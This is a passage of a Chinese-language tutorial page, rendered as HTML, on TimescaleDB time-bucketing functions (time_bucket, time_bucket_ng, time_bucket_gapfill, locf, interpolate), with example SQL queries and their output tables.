class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> one_week <span class="keyword">DESC</span> LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"># 在本地时间而不是 UTC 存储 TIMESTAMPTZ</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="type">INTERVAL</span> <span class="string">&#x27;2 hours&#x27;</span>, timetz::<span class="type">TIMESTAMP</span>)</span><br><span class="line">  <span class="keyword">AS</span> five_min, <span class="built_in">avg</span>(cpu)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> five_min</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> five_min <span class="keyword">DESC</span> LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>我们在此示例中使用的原点参数的值为 ，即<code>2017-12-31</code>所分析期间内的星期日。但是，提供给函数的原点可以在分析数据之前、期间或之后。所有桶都是相对于这个原点计算的。因此，在此示例中，可以使用任何星期日。请注意，因为<code>time &lt; TIMESTAMPTZ '2018-01-03'</code>在此示例中，最后一个存储桶将只有 4 天的数据。</p><p>上述转换为 TIMESTAMP 会根据服务器的时区设置将时间转换为本地时间</p><h3 id="6-时间桶（下一代）-time-bucket-ng">6.时间桶（下一代） time_bucket_ng()</h3><p>该<code>time_bucket_ng()</code>（下一代）的实验功能是原始的更新版本<a href="https://docs.timescale.com/api/latest/hyperfunctions/time_bucket/"><code>time_bucket()</code></a>的功能。虽然 <code>time_bucket</code>仅适用于小时间单位，但 <code>time_bucket_ng()</code> 除了小时间单位外还支持年和月。</p><p>实验性功能可能有错误！它们可能不向后兼容，并且可以在未来的版本中删除。使用这些功能的风险由您自己承担，并且不要在生产中使用任何实验性功能。</p><p>该<code>time_bucket()</code>和<code>time_bucket_ng()</code>功能相似，但不完全兼容。有两个主要区别。</p><p>首先，<code>time_bucket_ng()</code>不适用于 之前的时间戳<code>origin</code>，而适用<code>time_bucket()</code>。</p><p>其次，默认<code>origin</code>值不同。<code>time_bucket()</code>使用 3 Jan 2000 的起始日期，因为该日期是星期一。这对于每周存储桶效果更好。<code>time_bucket_ng()</code>使用 1 Jan 2000 的起始日期，因为它是月份和年份的第一天。这对于每月或每年的聚合效果更好。</p><p>对于具有向后兼容性<code>time_bucket()</code>的<code>timezone</code>参数是可选的。请注意，如果您在不带<code>timezone</code>参数的情况下调用函数的 TIMESTAMPTZ 版本，则时区默认为会话的时区，因此该函数不能与连续聚合一起使用。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"># 以三个月为间隔创建存储桶数据：</span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;3 month&#x27;</span>, <span class="type">date</span> <span class="string">&#x27;2021-08-01&#x27;</span>);</span><br><span class="line"> time_bucket_ng</span><br><span class="line"><span class="comment">----------------</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-07</span><span class="number">-01</span></span><br><span class="line">(<span class="number">1</span> <span class="type">row</span>)</span><br><span class="line"></span><br><span class="line"># time_bucket_ng()以一年为间隔存储数据</span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;1 year&#x27;</span>, <span class="type">date</span> <span class="string">&#x27;2021-08-01&#x27;</span>);</span><br><span class="line"> time_bucket_ng</span><br><span class="line"><span class="comment">----------------</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-01</span><span class="number">-01</span></span><br><span class="line">(<span class="number">1</span> <span class="type">row</span>)</span><br><span class="line"></span><br><span class="line"># 要将时间分成多个桶，请time_bucket_ng()使用名为 的时间起点origin。默认原点是<span class="number">2000</span><span class="number">-01</span><span class="number">-01</span>。time_bucket_ng不能使用早于 的时间戳origin：</span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;100 years&#x27;</span>, <span class="type">timestamp</span> <span class="string">&#x27;1988-05-08&#x27;</span>);</span><br><span class="line">ERROR:  origin must be before the given <span class="type">date</span></span><br><span class="line"></span><br><span class="line"># 要绕过命名限制，您可以覆盖默认值origin：</span><br><span class="line"><span class="comment">-- working with timestamps before 2000-01-01</span></span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;100 years&#x27;</span>, <span class="type">timestamp</span> <span class="string">&#x27;1988-05-08&#x27;</span>, origin <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;1900-01-01&#x27;</span>);</span><br><span class="line">   time_bucket_ng</span><br><span class="line"><span class="comment">---------------------</span></span><br><span class="line"> <span class="number">1900</span><span class="number">-01</span><span class="number">-01</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- unlike the default origin, which is Saturday, 2000-01-03 is Monday</span></span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;1 week&#x27;</span>, <span class="type">timestamp</span> <span class="string">&#x27;2021-08-26&#x27;</span>, origin <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;2000-01-03&#x27;</span>);</span><br><span class="line">   time_bucket_ng</span><br><span class="line"><span class="comment">---------------------</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-08</span><span class="number">-23</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line"> </span><br><span class="line"> # 使用指定时区中的月份来存储数据</span><br><span class="line"> <span class="comment">-- note that timestamptz is displayed differently depending on the session parameters</span></span><br><span class="line"><span class="keyword">SET</span> <span class="type">TIME</span> ZONE <span class="string">&#x27;Europe/Moscow&#x27;</span>;</span><br><span class="line"><span class="keyword">SET</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;1 month&#x27;</span>, timestamptz <span class="string">&#x27;2001-02-03 12:34:56 MSK&#x27;</span>, timezone <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;Europe/Moscow&#x27;</span>);</span><br><span class="line">     time_bucket_ng</span><br><span class="line"><span class="comment">------------------------</span></span><br><span class="line"> <span class="number">2001</span><span class="number">-02</span><span class="number">-01</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">03</span></span><br><span class="line"> </span><br><span class="line"> # 以 <span class="number">7</span> 天为间隔跟踪莫斯科的温度</span><br><span class="line"> <span class="keyword">CREATE TABLE</span> conditions(</span><br><span class="line">  <span class="keyword">day</span> <span class="type">DATE</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  city text <span class="keyword">NOT NULL</span>,</span><br><span class="line">  temperature <span class="type">INT</span> <span class="keyword">NOT NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(</span><br><span class="line">  <span class="string">&#x27;conditions&#x27;</span>, <span class="string">&#x27;day&#x27;</span>,</span><br><span class="line">  chunk_time_interval <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">INSERT INTO</span> conditions (<span class="keyword">day</span>, city, temperature) <span class="keyword">VALUES</span></span><br><span class="line">  (<span class="string">&#x27;2021-06-14&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">26</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-15&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">22</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-16&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">24</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-17&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">24</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-18&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">27</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-19&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">28</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-20&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">30</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-21&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">31</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-22&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">34</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-23&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">34</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-24&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">34</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-25&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">32</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-26&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">32</span>),</span><br><span class="line">  (<span class="string">&#x27;2021-06-27&#x27;</span>, <span class="string">&#x27;Moscow&#x27;</span>, <span class="number">31</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> MATERIALIZED <span class="keyword">VIEW</span> conditions_summary_weekly</span><br><span class="line"><span class="keyword">WITH</span> (timescaledb.continuous) <span class="keyword">AS</span></span><br><span class="line"><span class="keyword">SELECT</span> city,</span><br><span class="line">       timescaledb_experimental.time_bucket_ng(<span class="string">&#x27;7 days&#x27;</span>, <span class="keyword">day</span>) <span class="keyword">AS</span> bucket,</span><br><span class="line">       <span class="built_in">MIN</span>(temperature),</span><br><span class="line">       <span class="built_in">MAX</span>(temperature)</span><br><span class="line"><span class="keyword">FROM</span> conditions</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> city, bucket;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> to_char(bucket, <span class="string">&#x27;YYYY-MM-DD&#x27;</span>), city, min, max</span><br><span class="line"><span class="keyword">FROM</span> conditions_summary_weekly</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> bucket;</span><br><span class="line"></span><br><span class="line">  to_char   <span class="operator">|</span>  city  <span class="operator">|</span> min <span class="operator">|</span> max</span><br><span class="line"><span class="comment">------------+--------+-----+-----</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-06</span><span class="number">-12</span> <span class="operator">|</span> Moscow <span class="operator">|</span>  <span class="number">22</span> <span class="operator">|</span>  <span class="number">27</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-06</span><span class="number">-19</span> <span class="operator">|</span> Moscow <span class="operator">|</span>  <span class="number">28</span> <span class="operator">|</span>  <span class="number">34</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-06</span><span class="number">-26</span> <span class="operator">|</span> Moscow <span class="operator">|</span>  <span class="number">31</span> <span class="operator">|</span>  <span class="number">32</span></span><br><span class="line">(<span class="number">3</span> <span class="keyword">rows</span>)</span><br></pre></td></tr></table></figure><h3 id="7-间隙填充和插值">7.间隙填充和插值</h3><h4 id="time-bucket-gapfill（）">time_bucket_gapfill（）</h4><p>该<code>time_bucket_gapfill</code>函数的工作原理与和<code>time_bucket</code>之间的间隔类似，但也激活间隙填充。它只能与聚合查询一起使用。和之外的值将通过，但在指定范围之外不会进行间隙填充。<code>start``finish``start``finish</code></p><p>我们建议尽可能使用 WHERE 子句（而不是仅仅<code>start</code>和<code>finish</code>参数），因为开始和结束参数不会过滤输入行。因此，如果没有 WHERE 子句，这将导致 TimescaleDB 的规划器选择所有数据而不执行约束排除以从进一步处理中排除块，这将降低性能。</p><p>在<code>time_bucket_gapfill</code>必须在一个查询或子查询一个顶级表达式，如图上述实例。例如，您不能执行类似<code>round(time_bucket_gapfill(...))</code>或转换 gapfill 调用的结果（除非作为子查询，其中外部查询执行类型转换）。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"># 获取过去 <span class="number">7</span> 天内每天的指标值</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(<span class="keyword">value</span>) <span class="keyword">AS</span> <span class="keyword">value</span></span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> now()</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span></span><br><span class="line"><span class="comment">------------------------+-----------+-------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span></span><br><span class="line">(<span class="number">7</span> <span class="type">row</span>)</span><br><span class="line"></span><br><span class="line"># 如果在某个时间间隔内没有可用的值，则获取过去 <span class="number">7</span> 天内每天的度量值，将之前看到的值结转</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(<span class="keyword">value</span>) <span class="keyword">AS</span> <span class="keyword">value</span>,</span><br><span class="line">  locf(<span class="built_in">avg</span>(<span class="keyword">value</span>))</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> now()</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span> <span class="operator">|</span> locf</span><br><span class="line"><span class="comment">------------------------+-----------+-------+------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span> <span class="operator">|</span>  <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span> <span class="operator">|</span>  <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span> <span class="operator">|</span>  <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span> <span class="operator">|</span>  <span class="number">9.0</span></span><br><span class="line"> </span><br><span class="line"> # 获取过去 <span class="number">7</span> 天内每天插入缺失值的指标值：</span><br><span class="line"> <span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(<span class="keyword">value</span>) <span class="keyword">AS</span> <span class="keyword">value</span>,</span><br><span class="line">  interpolate(<span class="built_in">avg</span>(<span class="keyword">value</span>))</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> now()</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span> <span class="operator">|</span> interpolate</span><br><span class="line"><span class="comment">------------------------+-----------+-------+-------------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span> <span class="operator">|</span>         <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">6.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span> <span class="operator">|</span>         <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">7.5</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span> <span class="operator">|</span>         <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span> <span class="operator">|</span>         <span class="number">9.0</span></span><br><span class="line"> </span><br></pre></td></tr></table></figure><h4 id="locf">locf()</h4><p>该<code>locf</code>功能（最后一次观察结转）允许您将聚合组中最后看到的值向前移转。它只能在带有<a href="https://docs.timescale.com/api/latest/hyperfunctions/gapfilling-interpolation/time_bucket_gapfill/">time_bucket_gapfill</a>的聚合查询中使用。该<code>locf</code>函数调用不能嵌套在其他函数调用。</p><p>因为 locf 函数依赖于在每个存储桶周期之前有值来结转，如果第一个存储桶不包含值，它可能没有足够的数据来填充值。例如，该函数需要在第一个时间段之前查看，但查询的外部时间谓词 WHERE time &gt; … 通常会限制该函数仅评估该时间范围内的值。因此，<code>prev</code>表达式告诉函数如何查找时间谓词指定范围之外的值。在<code>prev</code>当没有先前的值由外部查询（即，在被查询的时间范围内的第一桶为空）返回表达只会进行评估。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"># 获取过去 <span class="number">7</span> 天内每个设备每天的平均温度，结转缺失读数的最后一个值：</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>, now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span>, now()) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(temperature) <span class="keyword">AS</span> <span class="keyword">value</span>,</span><br><span class="line">  locf(<span class="built_in">avg</span>(temperature))</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now () <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span> <span class="operator">|</span> locf</span><br><span class="line"><span class="comment">------------------------+-----------+-------+------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span> <span class="operator">|</span>  <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span 